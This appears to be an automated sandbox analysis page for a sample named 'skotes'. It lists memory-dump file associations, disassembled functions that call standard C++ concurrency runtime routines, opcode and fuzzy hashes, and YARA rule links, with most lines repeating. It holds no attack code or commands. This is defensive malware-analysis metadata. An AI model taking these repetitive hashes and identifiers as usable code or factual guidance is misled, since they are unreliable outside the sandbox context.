Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 241945c93fc6249f7ed6a4175cbb5b7db68da1065ddd0501fa62b9c81870bff8
Instruction ID: b7858fff4c76075709b19a568c6a66ed847579195d4db41f9094604ec94edace
Opcode Fuzzy Hash: 241945c93fc6249f7ed6a4175cbb5b7db68da1065ddd0501fa62b9c81870bff8
Instruction Fuzzy Hash: A8B17CB0A01616EFDF29CF68D991B7AB7B5FF48300F15416EE905AB691D331AD80CB90

Function 00191602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00192CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00192D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00191614

Part of subcall function 00192E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00192E39
Part of subcall function 00192E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00192EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00191746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001917A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001917B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001917ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0019180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0019181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00191823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0019183B

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: a29194e48a2b7d4129f61d706dd9adeae77b8e38a4c77bf251babc26a3b73d0e
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 93814775E00226AFCF19DFA8C590ABDB7F2BF48304B1586ADD445AB701C770AD92CB84

Function 0019EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0019EC81

Part of subcall function 00198F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00198F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0019ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0019ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0019ED0C

Part of subcall function 0019E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0019E7D7
Part of subcall function 0019E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0019E86F
Part of subcall function 0019E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0019E879
Part of subcall function 0019E7AF: Concurrency::location::_Assign.LIBCMT ref: 0019E8AD
Part of subcall function 0019E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0019E8B5

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: fce88c3a3ab8016b7c2587dd6f07b62c7079fff959ba1f01362211d7a93ec9e0
Instruction ID: a9a89d56ad5db66e1ce78a1fe62ed1ba726f1687bc5b97b973e331f5309464aa
Opcode Fuzzy Hash: fce88c3a3ab8016b7c2587dd6f07b62c7079fff959ba1f01362211d7a93ec9e0
Instruction Fuzzy Hash: 17518E31A00205EBDF28EF90C895FADB7B5AF54310F1540A8E9067B3D6CB71AE45CBA1

Function 0018CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0018CBAA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: c8f249acae236c11098e863600048fcc4ad9ce0c735e1396b5d5134852584f99
Instruction ID: 0a660c1aa7120afa516319c9579b13a07bedbbadf58931db72ea4326640f0bd7
Opcode Fuzzy Hash: c8f249acae236c11098e863600048fcc4ad9ce0c735e1396b5d5134852584f99
Instruction Fuzzy Hash: BCB09232A138308BCA522B58BC0899D7B159B84A5230A4156D801A76248B209EC25FE4

Function 0018DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb9b8abccf156f32a79445820ab5ec95724cda21280d9bb4fd77ff6ca6d1f54
Instruction ID: cb02ed450c58b6864b001af60fb2b53d1dd1736216b0717287068ea45bdf084c
Opcode Fuzzy Hash: cdb9b8abccf156f32a79445820ab5ec95724cda21280d9bb4fd77ff6ca6d1f54
Instruction Fuzzy Hash: 5551A172902716CBDB15CF59E8C57ADB7F1FB58304F24856AE405EB690D374AA80CF50

Function 0018F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0018F2BB

Strings

pEvents, xrefs: 0018F2B3

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
